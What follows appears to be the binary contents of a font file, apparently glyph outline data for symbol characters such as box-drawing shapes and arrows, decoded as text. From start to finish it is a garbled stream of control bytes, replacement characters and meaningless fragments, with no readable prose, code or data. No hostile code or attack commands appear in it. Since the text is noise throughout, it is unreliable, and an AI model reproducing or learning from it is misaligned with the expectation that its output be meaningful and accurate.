!!'7!!!'7�;�r��Z�����Z�m���Z��1X1��Z����'327#"'$%'3632#	6'&#"��zz=>�l��WW����s�PYX��2�灾�v��zz>��Gj���X�`O���X����������GX�4y!5!!5!y��e����Zrr^����Z%���333!#!!3�/���	�.�����^���+��^��k��k�4��	7!!#x��r�;r�c�/��Kr��m���u�4��%	!%!50!53!�������������y����m��rZ[z���Xy&'&47673!!5!64'<<<.LM.;�<+PN.;�����==R-�*�/K�O/'��-T�Q0�˪��1�.Xy	'!!#!5!'�"Z���A��B��Z$��Z����u��Z#�4��
!!%!!''!�;���GZ���Z�H���r���Z��E��Z�wXy�!!!5!!X!����D!�C����Z����%���3!#!3!###.�7����7/������^���+�����k��k�4��!	!!	3!x��S�;������ZK���{m����u��4��!	!%!#5!5!���"�����~�~�+����m��r��z[ZXy!5!5!!#&'&476654'#�D!�C<+PN.;�<.LM.�==�<<�}��}-T�P/� �.L�O/��/AJ/,EN*Xy!7!5!3!!7@��Z��B����A�Z��#Z������h�Z���4��
!7!)!7��Z������b���Z��m����E�Z����wZ����4��&

���4��&

����4�?&


���4��&

���4�D&


"��,D$467632#4& #62"&$&"26�4:z�Ӄ:4���ር��♜��VuVRyV���8vu4��Dֆ���M����UTyRT���4��&
	?����Z�^'
F�����4��&	?Xy�3#%3#!5!!?����ʲ�C!�D����$Z������3#%3#!#7!?�����9��hw�����M�q�����'
����?��H'
�8
��t��'
�
"����,3+33676767653#&'&'&'&��
V &�#$K
�9BU5>�=5^:;^D�`1o%".+��y 9
:C[����\l3;��b 89hbX��y3!!#"'&7633!!"��;���������;�yV__W9�����|���+��q�_i�h_��X�yH'
�8a��X�yH'
�8!X��y�	!!3#X!����Ścת���%��
 *!%#567!676&'&'&'&��|z*(2JE<iKH#&���GIJE���E���|-2
M3
+�O	
!
r�;���
?�9y�?p���

!X��y�*= 67 '&5677%"632327'&32767#"'&'.#"y�{h	p{�"zi	pi�E5
5dJt]BF�ZCE��F4
Zq
Mg3�ħ�������Ĩ1�P�$�s�
7%�����ے��s�3
!X��y3#"'#&'&#"5>323326yK�OGU�43O�IN�S52�^NF�z�;7 �(;?�<6��'=���'3#3!!#7#537�
�`?��+���0'��7ϺrSSr��4��!!!!3!!!'7#5!7!x�r���d���������d����eZ��m��n;fժ��hӬ����4��&"	?Xy�673367##%.XhZv�rM�'���hx:�B��xv�`M]�P��d
H
���d�-D�bgd��
*Xy�633267#.'#%'X��r�<�;oj���/eE���}{SC5E%�r���I1�V�
�/��dj����6�`����VT{��F���`���4�y&

�����45{&
4���4�`&
���4�`&

��F���y��.��!�
/��/��1��	�/<�2��0#5!!!#��o�o�.ڭ�%ۭ�&H���:07	%#"326=7#5#"&546;54&#"5>32h��H��H�#[]E>Vcii!fHat���LT5m4:j2O85%--J��J�??8?vh+��]85l[hmKDg/R��:953353!53!5!#"326=7#5#"&546;54&#"5>32as7s�9s��;��#[]E>Vcii!fHat���LT5m4:j2Op"��r�??8?vh+��]85l[hmKDg..R��:1=[%5!!5!#"326=7#5#"&546;54&#"5>32#"326757#5#"&546;5.#"5>32�0�;0�#[]E>Vcii!fHat���LT5m4:j2Op""[]E>Vbii"eIas���LS5m4:j2Op"�rrrr??8?vh+��]85l[hmKDg..R}??8?vh+��]85l[hmKDg..Rk��*.26:>B#5#"&546;54&#"5>32#"326=%=!!%%%5!55qi!fHat���LT5m4:j2O85%�#[]E>Vc��,��,�����,��,����]85l[hmKDg/R}??8?vh��y�y�rD�y�yy�y��rr�y�yR8~�4<DLTZ`%#5&'&'&''7&5475'7676767537'5676767'7&'&'&'5'7'%654�d3/D9�2��2�9D/3d4.E9�2��2�9E.42*	��	*2�2*	��	*2���*��8�8fWfEOPDfWg8��8fWeDPOEeWf8g*		ap�a		**		a���a		*�ba.43�ab-45F^��'04>2".33&'."#67>76#FV���ʓVV���ʓ��"v���v"Z��83Pv"�Υ"vP3�ʓVV���ʓVV�n��h<8PvDDvP8���"vP9��~?9Pv"F^��&0!4>2".7!&'."67>4'&h���V���ʓVV���ʓDvP47��9�;���;��74PvD"M���ʓVV���ʓVV����v"i	c;DD;g��"v��P	F^��	%7'32>4.#52".����V��F��oDv���vDDv�YoʓVV���ʓVS�w�V��F�_Y�vDDv���vDoV���ʓVV���4��!!!x�r�Z��m������#53�à�����Z�����0��������3#����s���#5��ˠА����W��eE�%3�����53�Z���������z
�����i������#0����s	����3#�à�Р˓���������[���m#!!����#��	q�����3#����s���!!��`��N�	u���m!5!��#����������z3#���z����z3!5!��`�z������m
#4763!!"ƺoy���eD9��uߑ��fW�����#'&%'53 763�:*e�nK��==Mn�e(� =��C���_A�Ec���H�<���
3!!"'&5�9De��{o����Vf����d����#3ƺ���	����m
4'&#!5!29De���yo��}�Wf���������&'&3!3#76�<(e�nM==��Kn�e*�!<����McE�A_�I����=���
3#!5!2765�o{���eD9���Ꮮ�fV����3�	��w��v%	!!!!55!#���u�X������
̼uu���]��]e��!	!!�;bc�;��$�<���.:��	����1��/<��03!3��T��.��%�y��j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�������	�����?!��?�����j!��j������!����k����!����@����!������!�������B!��B������!��	����F�!Z�	������!��	�����!�	����h�!|�	������!�	����*�!>�	������3��	����i���	�}�8m#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�������������������������������������Z����6���������6����7����5����7����6������l#'+/37;?CGKOSW[_cgkosw53%5353535353535353%5353535353535353%5353535353535353%5353%5353%53�e����e��e����f����f��f����d����d��d��h�e�e�f�c�d�������!�����������������������!�����������������������!�����������������z�����������������
��m#A35#35#35#35#35#35#35#35#35#!#5#!5#!35#35#35#35!3h���̚�h���̚��̚�h���̚��̚�h���Ϛ��2��̙������Ϛ#�������������3���6������6������������B��	�B��F���	�Z��i�!}���@��i���	�}�����i�	������!!}}�	��@�@������&	�	�����!!!�������@�@����!!����������i���	�}�������&	�	�����!!!�}}������w!�N�<���w7!!!x�r�$��<���w3!254#!") ) x�����rVV���������V���������w&
	����w!%!5!5!5!5!5!5!5!5!5!�������N�<rnrjrkrkrj���w!'3#3#3#3#3#��nn�jj�jj�ll�jjN�<r� � � � ����w#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!xjjjjjjjjjj�llllllllll�jjjjjjjjjj�jjjjjjjjjj�nnnnnnnnnn���j��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��n��<���w!37353535353��4��B`���J�l����Т���N�<0��������J�jL���[�F�/��������w!%35535#5#5#57#35�Њ4��`�J�M�l����Ў�O�N�<r3��B`���J�l����ѡ�� ����w	!%)-27;?CGKPTX\afjos%35'7'#7'7'#7'7'7'#7'7'7'37'75#7'7'7'7'7'75'7'7'7'37'%75'7'37'!�$J#�B"L!MLF"ELU�ELF�#EKALE!U�KLL�KLL�LKL�J$K#tK"M�KEK�LKK�KLL�KKL�KEK�J"�KLK�KLL�JLL�$NK$E#�EKE�N$E��H$L#'"L �LE"EL�ELE��"EKALE!�KKL�KKL�LKL��$K#tL"J�LEL�KKL�KKK�LKK�KEK�LR"�KLK�KLJ�LLJ�$K�E"R�EKE�$E��<����7!��������%!!!M6��r�6�X����8%!!�;��H��8!!!Y�S�;�bd��rHD���w!DHN�<D���w%!!!�d��rH$��<��8%!!��o4��H��8!!!a��S��o4�bd��rH���w	bcN�<���w7!	�o�H��bc$n� �<����7	����������%!	���s����������w�N�����w7	xo��r�\����������7���s����-M�<r2���s���7Ň�s���-x6��r�2���s���w!h���N����w%!	!h��������(�������%!h�s�����!!h�<�sk�X���w�b�<���w	�o����Hp�Hb�<��������������X����������������#6������������w	bc��b�������w	����Z��bc���Z���Zb�������w	
�nn���6��5��bc��n����n�6��6b�������|
)7632#"'3276'&#"%632#"'��cccc��cccc���zzzz��zzzz��1����2�Ι���/�r99r�6r99q�̌GG�2�GG����XX��@�XXu�#\u"@��91��990	h������
����9%���-���|
3276'&#"%632#"'��zzzz��zzzz��1����2�Ι���.�̌GG�2�GG����XX��@�XX���|	'/7?G7&'&'6767&'&'7%'676727"'64'7&"'62&47�".$,=7-:*�,$)'e13-7c".$,=7-:*�,$."e*:-7�<x<K�Kr

w�%<x<K�K��

w�/&j %0:E"3FA*% */&j %0:E&/G:0% �w�9~9G�Grw�%9~9G�G���|
%/36%632#"'327&#"6767&'&61����2����&&&&�bbP�'''�g���XX��@�XX���
	�	qz��z�.�!�h	*	���|l���|
)732764'&#"7632#"'3276'&#"%632#"'�C"!"!DD!"!"�z===={{====���zzzz��zzzz��1����2�Ι���a�''�'��F##F��F##�̌GG�2�GG����XX��@�XX���|
6%632#"'1����2�Ι������XX��@�XX���|%276'&#%632#"'hzz��zz��1����2�Ι���'G�2�G����XX��@�XX���|"3$%632#"'hzz��zz��1����2�Ι���G��̌G���XX��@�XX���|'&#"%632#"'Q�zzzz�z1����2�Ι����GG�����XX��@�XX���|3276%632#"'��zzzz���1����2�Ι�����GG�����XX��@�XX���|"3276!%632#"'hzz��zzzz����1����2�Ι���G��̌GG�����XX��@�XX���|"!%632#"'hzz��1����2�Ι���G�����XX��@�XX7���|"'$%63�����0��TX���X7���|2#8��2�Κ�|X��@�Z����(32654&#"!?�|}��|}�����~��|{���v<�����(
67632#"'327$%&#"!��zzzz��zzzz��1����2�Ι�������4�GG��΍GG�@�XX���XX��(�����(!#%&#")7632��Ι�����K�/�zzzz���`�XX����GG����3327$3!#"'&1����2���zzzz����XX�`����GG�7�|	%63"71��{y�`�X{G���7�|	2#'&#8��2{�{x|X����G7���	527638x{�{�ΚT{G����Z7���	"'$33�����{�y{TX�`��G�|%632#'&#"1����2z�zzzz�`�XX����GG������0332763#"'$z�zzzz�z�Ι�������GG����XX����w�N�<���w�N�<���w!�N����w!�v�<?��!32654&#"4632#"&z�cd��cd�;�}|��}|��e��cb��c|��{|�����w%!!!h����$��<���w7!!!x�r�$��<���w7!!x��$��<���w7!!x�r�$��<���w%!!!!!���I����Ir�$� ��<���w4632#"&!	�N88NO88M��o�H��bcj8MM87NM��n� �<���w%!	h��H��bc$n� �<���w7!	����bc$n� �<����
327$'&#"%632#"'k�~������~��>����?������:���II�L�II��޸[[��"�[[���w
!!!!!!����I�I��N�<��� �����w
!%!!5!!!����I)�� N�<r�r������w
!%!!!!!����I���)� N�<r��J(����w
!!!!!!����I����IN�<��� �*���|
 6%632#"'!3276'&'1����2�����^]���T�zzzz��^]���XX��@�XX�
6~�r�~GG�2�6
�����|
 6%632#"'%676'&#"!1����2����j]^��zzzz����]^���XX��@�XX'
6�2�GG~�r�~6
����|
 6%632#"'!&'&#"6767!1����2�Ι�����]^�zzzz-]^��S���XX��@�XX)�΍6
!�~GG�q
6~����|
 6%632#"'32767!&'&'1����2�Ι�����zzzz���^]��^]���XX��@�XX)�΍GG~�#
6���~6
�O���w7!!x6��r��6������w	%!#6�����6r�<���w7!x6��r�$6�X�<a
o7!!!�*��r*�d��a
o7!a
���[!�%!!!!��rrr���r���[!�7!�r[r�����w%!	#6���$6�X�<	"��1"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'N<<�.�0���/�#��E
�7$�L�4����z��8hY/�6.�0�<<1��y1�1��2�+��K�O�1H�P�====�f^1� .�1\��2��"3263#!5276;'4?'4?26
�H"S?1��#R b})Jя5C ,?kC[7>"�-?33 #&'&+"'&#"/573;2?"#'57#&'#"#567635a)8�)kOkaKA-'�=
/�/G)���,Y��=	!H$/+�HDH)�+)	$.,f��YY��x�	!=Z��� Lx73&'37&'67&'67&'67'32654'&'7654&#"3672 $54767&'&47'&27632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5430'&327632#"/#"?#"54?'&5432&5432&56327&5432'&327632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5432PO�~	)�*+'��)+(@&'$�|����|e�?/A}]\�B-7���1SLoW���j��\vLLr%%,*#$
)*n$
%
+)$
#*+�						?	�'+&��()&�(+&p				��%
%
+)$
$*+�*EC*Z*,)-)-*,�%&%&�f���Б�fU 5HhfeefhH2�pu^�QFs���棥sKQ�G��4

4		22044	22	9






�		�L%('*�%)(*%)(*t				�144	22	0�r!2CTev��������+&'&54?6?6/&2#"/547672#"/547672#"'=47672#"/54762#"/54762#"'=4762#"/547672#"'=47672#"/54762#"/547672#"/547672#"/547672#"/5476l=.%G\&#-	Lj.�N
0d&K4i�
	
}
	
g

s


	�


&

�


�
	
�
	
�
	�


�
	�H�5-V"*<CZ+
]	__f
8A%\m$=F	!
�	"	�	"	�	!	��	!�	"
�	!	�	"	�	"
�M	"	�	#	�	

!
�	
"
:�3	!!%:���������������k��l���:�9	!!%7%%!!:������������0d	m��hd�����l��l����˿�@�8���	�	7%7&5476�9	�}�V&�7��A��6$�����8'^4?�
;��!2	7%7&547!#"54z�<���S#�N�1�DC�S"���="l.3��ED[:+��
&#"54$32 54. #"&54>2�����������-�.�������T<:U'EGE'D�N�������-ֈ�����<SS<&E$$E�
C"32654%"32654&%#"&54767654$ #"&4767&5432qOO98O��8PP88OO"F�cc�D>U]����\`CD�cb�F]W��W�ZA@ZZ@AZZA@[[@AZKPrq��qrPGe���ޝ�dMP䠠�P
}��2��ٛ���k
A4&#"26%4&#"326#"547&'&4632 $54'&'&4632XP79NNqO�.N97OO79N'������]E�ac�DC_\�n�\U>D�bc�EXFDbbDEaaEEaaEDaa�+�G詄U��USj���멏i	LV��V�6��"32654&7#"32?��ɏ��Ǿ������/�`T�cȐ��Ɏ��;��P��1�2�Y.��1"264&"3264#"54327&5432#"'&'@Kjj�jiO�iiLKi���rq��rtP��ss��rqQܩ��Z����Td�������IU������������)5AMYdp{�����3/&76'!'47653!476=332654&#"#"&54632'#"&54632#"&54632&'&676&'&676'.7>'.76$6&'&%6&'&6>'.>'.f<��;�.=+��,>/�;���Ky��z~LZ|WX{{XX{IE11EE11ETm




�


��
;��
R��



�


����s@dd@s���}��>}=/N�n��N/=}>�@��������MllMNkk����&%�I%
%
"!$#�"!"�!!��
&

%�%&��%-5AMYdp|�����5#!4'&'5#2#"&546"264&"264"2647>'.7>'.%676&'&>&'&7>'.%7>'.676&'&676&'&753!476=3''676%27/&76'77&'&/#?6'&7�liil�Yz{XW|{�bEEbEd�


�


��

8��
@�


�


.Hxt��txH�%?%5�E$��6
6��$D�5%?%-5!!�1(����~(1�  5,4t4(4��N�4(4t4;���������h�hh��%%�#%%�$%�_$$�!"�!$!/!!�!"��$$�$%�:-,G��t�G,-:�
XL���RqqR���LX
![$n��[ii[��n$[!ob!!'!t��KZ��G��kc��n"!!'!##&+572367676h��Nn_5�,S	G�rj3#-EmD��J��~o.(���*!�4\tR~�U�L�!!'!		##'	���CI3�Z
>��<����<����5�D��CX��<���<��;
�YD36273	##'5&<+Z��@\����\D��C��	�Z���Y��\���5#,5>~3+&=4%3+&=4%3+&=43+&=4%3+&=43+&=43+&=4%33 #&'&+"'&#"/573;2?"#'57#&'#"#567635@)�A({@(�@){A)�A(@A(�^)4�
'iOj_J@,&�<
/�/F(���0�'��&��&��'ܐ'J�&��(lN��5		>!	)&�V?<?$�&$ '&Z��N	N��	/>Eqw�!674#!!6?676'4#'323276767654#3#&'&'&6%67!672!&=75$/563&43!32+'!67#>54&53�*��,�
3)="(&)09$)
L&T�E`
MP�A�[M�H
�Y����$
;��&&e=O%/�N��
,8(.�7L1R���f~H8SQ,zH%9D6
)jGP@�4�Rjd��_*Kfs�D�IR		
9!
O
�-]��&C+�/<Ug@A5O!+G8��	!'	!n�?��B�Z9�6�\�w��L��5�_�K/��		!'7l�B��D��w��D�&��B'&54763263276#"'&/#6#"'&'&6&'&547676R�8CCBC,G*
E��h]6
e;,0Q:�nH��;P0+	;e
6\i~�TZW4XX\"g^�R) 
56.'_E!
S���B�S
!E_'.75
 )/��t9>3#"'43727&'#"$472776725676&5&�U8��)$
tJ.;	�d3f��,"3'
VD
(� GL/7;;,g�t^F$�<
�LD&?>�X4R�
!/# I
?�� P?D!)M��v>�/�z2!"&54676737#&'&54>;7#"&546767!7!"&54>3!6763!2h��!.)g$'��30��!/&j
! /:(/	)/
9)/
	9)0:*/�z2463!2!2#!!+32#3#i9/ !
j&/!��03��'$g).!*:0)9	
/)9
/)	/(:�!!C4&#!"!&3!!"3!#";#"3&'6737#&'6737!"'67!7!"'63!67!2e;'��+�pCCo
��CC��CC�2CCKK<�LL��KK%��JJ�60"2=2�).=<==<@=:>=;TTUSUTUT83$�Q�E�!D72654'6#"'4#"'54#"'54#"'675674767#%�$4:JILLHOKHLKIhghgighgD>-��sJ1 b6'SS�
cRR��	�SS�?SS\\K�\\�;\\���]]��!A��*>K��!!D!254+'3254+'!254#!'!254!&#!"0!463!!2#!!#!3#3lCC2�CC��CC��
oCC�p+��'q��=2"06�JJ��%KK��LL�<K2;=>:=@<==<=.)�g�$38TUTUSUTT���E�!C32=732=7325732'654&#'%2&'&5&'5&'�IKLHKOHLLIJ:4$��N->Dghgighgh�SS=�SS�	��SSb
�SS'6a!0J)K>*��B ��\\���]]:�]]�J]]����O�������������������!%)-1523656;2#'7+"/#"'+"5&54775'"'5476;25'7&567635&56;374765'75'76=4'&+ '"'4!#"'&36365&5&#%#754'&5&&547'5367&7+&'&'735&2?"5775537'7'3533553535'32767&5%2?&#%55'575775775u�o,Mz"060D�/�5I:2'5�:��6�&"*:D:��S46$.e	Q�N��5


u4MDa�
6�bU��P+
,H;`�I23��N5(��

(#I0�M��
'^5%�#��!:X+�	"*
�����6W}W:�uW4
5v�T
�&	/H�3V���XD9\SL+&31.d+%X!Q
$2``KPPPG[6%#

Qy-6[[3GK[��O��`_A[-)$t7�
L-$
L6=�"	(�CJ#�R"�0�
:�~GB{~E�oj<4S[�ZaLC5�)
.U%+Z&)��͢�7e�<ILAaMoK33K@G6$$(&(''&1/----2)((-((d.'-T?OK8T$!T3�(-<((')))())(	����&2%2#"'&=477654'#"'5473�t\*e��	O�@U�C�Xq�	P	�S.	PӍMO�b��>Y�aYƮ58�l7P �P@��$0<FX + &=%6&#"3 6=%&#"';27!54767%!&'&'2+"'&=476^7�\�������P�����g㑵�H����r�'.)%�s�M����
M��#�f��C-7!%A.; �ӎ����w:���k�K���qz�
��+H*��G�;M
�

��tu�/&((A�A&:+C;."�/	8Pi>'67&&&'6.7#"'&'#"'676'773.#'6'5676&&5476'&'67&&�07	^<1x,B�5��@2JV�Mv!#uA+UBDX[f�*;-10)..C,��sB#HKU�	�P�]12�<0��VQ��}%'H�6-T}^�$k7
R��2'�7f!�A�\;y?1!50BEt�"!zkQ;0�qu0\�o�i:5oP��ZjsXFa�PJ�Gl;4ejN���^1F[q���������������7&&'7'6&'$#&7'&#"'5&767#&''5$'67'6'6'5$'67'656&'67&'6'&'''5$7676'&&'6'63&7"7&'7&'7&'7&'6'6%676767&77&77&''5&"'6%35&'.54>23#67#&8	p
+WDTc'H��@���XO`= �
�;*)8 kD��v/P��k-JKD��hGa�
	D�`��gBD���6��DDD���=3dTDW,	��:g����j)Y�i#'WtI-9w18$^8;./7-�I)jS)'#i\-IM91D;8%a7/.�D=u�RNBR&'%QBNR�q� d2
D
s9�8C ["�|44&3,'2^3�RT(B?#'9C-
!y�~#Z10>N?$%�Y4)%FN?
({�usis< 
3(&^T05<>7;,#4[:O(vAfG�EtY�B
z^~4j
#,;b:['~Av@~E�Q�
B�ak4~_���H#�T2
$$$$
2T�"`��q�$&'6&'67327&#!65#&3�jjdn�h
��w������W��V�����ݱ��qZre����[c��7������7	cy��X� ,35'533#3!'#'5!5!5#53!5!5#!!�ʶ�~~
��b������l�v�F��F��A<<3ff�X��苜�������q�X����GccGap 3264&#!2+73	#'#5#	3m�`hh`��2���������`�Ĉѳh���|�;v�v��ʷ�������}�����f���33#!!#'!'57!5#'5735���6�����4�����p���z�p��7�d+!#!573#'5!3!'573!#'73!#'5�Ix�OO�Tx����SVV��dY�\y��v�VPP�vIy�Y�',32#' 37+ &5%6323'#57'53m�����Jl{�~m@+�ݼh4��1��4��4��'�0����>,_
��v�N�k�n�mm�n��Obs32732753"'#"'432364'5;+"'#"'53275'&'&54?5572'#&'&547634%476='�4&#68$$B
�)�Z��>&A�_;i88u-o1bFGfQ�_��M5mw�L�bkj��I,K��=''8 0##Rm4	�ڹ+����ܴ5!PP"4\=��ѻ�������"8Q�ý�<�WTڦ9[��&��BC��(�g��j[T_g2#27654'73&#"#'&'#"56='"'46'4#"4735#5&547/63654'%654i=Ku/3�no�|s׉nI3n';6WN`fI�:%
�+Kk��s�:om��P�|@R/%S <�[Er*JKN�ZEnv���i����)�%*6&�-�Cl67jG�V�"6;�%�
2֙p��+nEU��_rB�(�Ea�LtD:�j[~^9���"22#'#"'#&'663327'#&'756=4'&+"6���xd�q����s��[�y�W���e�6�o`Oa�!����y�s�`M�k{eK[�ef
���Om�Y<0}��!432#"767	654'Y�Y����x_P��툋�K����\Y��Q�Z����W�_�b�����Y��X������(432654#">32#"&546324&"26%#"5432i�tv�������xs�q1"00" 0��/B//B/#������a��`ir��|�H�����!//!"00""00"!/0 ���_��b��
��#>DJPV\bhn27654'&#"&7367'67675673#''5&'&'7&'%67'7&'67'%7&'&'%6767%&'�&$h%$%%34$&�1++XSAN@`�==�k>P
CRX++XYC
P>k�==�l?L
?Q�	oL+ �Nn���;P�?���;�@
��
nM���Nn�3%%%%34%&&%s==�`?J>PW,,WW?K?_�==�f?H?PW,,WU?H?^���<��=���Ke+cL�� 
mC��P`k�<��<!��4(0847632#"'&7327654#"&#%#&7&'67&'67!���󫪪���v����������Ӥ=65N'V[S�.U[R�󫬬��񫪪�񿉊��������
���ʯX[V[X[V[!��4(0847632#"'&7327654#"73$3&'67&'67!���󫪪���v����������Ѧ=6��3QNV[S�.U[R�󫬬��񫪪�񿉊�������w	��
�'X[V[X[V[!��4!)47632#"'&%#$''&'6%&'6!���󫪪���4>;D@KDzcngk�?dnhk�󫬬��񫪪��I�
�kpinipi
!��4"*2:AIX3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"M==�,�/���0�#��H
�8&�O�6��	��|��7iY0�6.�/�==e6a&i1r4��z0�1��2�+��K�N�2H�Q�>>>>�f^2�"/�1]���8`1"Y
4f2y�5�+ +"'5$76%&'547327676=&#;�h�z��0/O{����[�(��*T��Q��������~�`N����O
=��t�R��[\	8d�<�+% &56;2'5$%75#"3��v��h���0.P��~�N�^�(�8P,V��RZ��y���cO����p�O
>����S��\^	���f��`�1B7#5#53'&'&54767&'&=33676=3#327654'&O&"}|f���z���g}}"&&"}�UQn$mQU�}"�$nQUVV{xVVUQ<"{��u^�^��\�
_u��{"#|�
zUOOUz
�|#YOT{zQPPQz{TO���@>)4'&#"3276&5476327#'#53'&�`_��__���_`�o����Š��q�������k�]^^]���YY���ň����Áh�g��f����@>'"3276'&'7#5373'#"'&5476j�__���_``_�����ߓq����Ŋ��q�YX��]]XY��f��h�h��Ĉ����Áj��0
'&'&376&+"'&5'476%7!�Z{z[ZZ[~\Y���������W��m�p��N#ZX[�[YZ[��P�������Qm��p#��T��G*��52764'&#"#463233#!5�sPQPPtrQP��yzg֏��LQQ�QPPQr��{{��t��|g��*#�"#53533#632#47654&#"#dd���i��qq��CB�igII�u������gzy�U�r}ppDt�PQs�_C��S
7"27654'&7#"&54767##53#533333#3##h.  @\ !  2(>>?ZW~>'3���|�}}���! -/@  /- !^'?XY??~YX?(F��}R}��h��h}��}hL��S<#5#535&'&'5'73'3#'73'676=35'73'13�|���e{vw}wwUATwx|xxS@Wwx}vv|d����|re{�Eus~~suE|VAKtrrt��@X{Ius~~suI�{dr|�*��! #!!!'!27674'&#��_�82��V�)�3{D�#M��HZ�W��{s{�?zK�8�! %#"#&5463 67!2#6#";�z\)MaBuh__itBaM(]y�
���t�t��[+##+��t�t��\��5����."264&'67>3"#"&54767&'&#52hq��៝rd:BJ|�^�d#!p⡠�q $c�]��7A;����{26��X�Y
"z����z"YX��62��&'5 %$ 56?6'.��j�������拈|����*xIIz'��&|JJx,	F42�$8"3264,'5'&54632264&"&$#"&547>ȜmmNMm�����}��	l�yz�U<�Mnn�nm�+}�7	l�yz�U<��|�||��,&(uO#e�����aHG�|�||�|Q'(sO#e���‹�`IH=���!
<>'.463227#"&5454&#"&'&5476766&D�9�BB8�Ğ���v?W:pbW~��tp�) "-ff�)-gtpQ@3�AA:�ACj��›��G�mN?ijb���v��r56W�Ge((Wi0154d)-?�/���6?2>32>32#&'567'6'#4&&#4'3>64&"�-S�5,9"\0+F��gv!4u|�W")^,k
ikdS��!e�b[����_[���H�|NYC������:�R���HB��=�G��`�S��n�U�|�#!!!53&54632!!5#67654&"U'����t�0����0�Z
=y�y=
:�]�Zs���sZ��Jjk��kjJ2�f��4%353'5#"'&''#&&#4'3>32>32YE;<��<�-!&Y*dx
cf_Oz.*O�2)7�Ze`��`b<`�����W���u��A�L��h`������8��!5!1##'!5!�_dr�r��Pk�^K{U������_W�{��'/27632#"'#576&#"4'5267>327&'"2XCZ�d}uud$gq�~dV)40��tlx�!&%"dLk��}�:��Uw�m��a4
��s���O��HK{��w��Y@x� A63276327632&"'&#"'&#'6327627632&#"'&#"'&#'Y�R 	#{=('%{XNCEz>O&z>'(#�&�R
#{=O&{YNCEz>'(%{=('#�&��ee22ee�$�l66kd23d�EP�dd33dd�$�l76kd34e�E^s#!5!37!!'���
������������L���3�4���(�����(C�� $Td67&'&"!3!67>54.#"!5&'.54>325467675#53533#63232>54.#"3'8xpA?9l9>@q<;9'��D�} 5RT�P=:

SSPSS
;<P�TR4 �X#""#�! >r>>pp>>r> !�A���%
)�RS�Q1
)6BB6)
1Q�SR�)
��p  ""V{zHNRh|���&'4>32"'4>32&'4>32&54>32&54>32#!5!'!567>54.#"32367>4.#"323732>4.#"327>54.#"732>54.#"�I	)),�(?)(#�!3()3�$))BG�!((
K{�mg���,��;��h�
IXI
��L$
�P	
H''1�|G''#��s%'')��7$ ''A��� ''H���T�ݬ9.�%~~ ��rF��)��~�� wpa!'-23353#3!53573#'5#5335!75!!5'57!���ePPe�eQQe�D�p�H�>H@�A�����~���}��}���~����00mrTTr��eppe-��!����7CQ^&54767&'&'5676767&'&54>32!535#5##3654."!2>4.#"�	1""#@%@#!@%
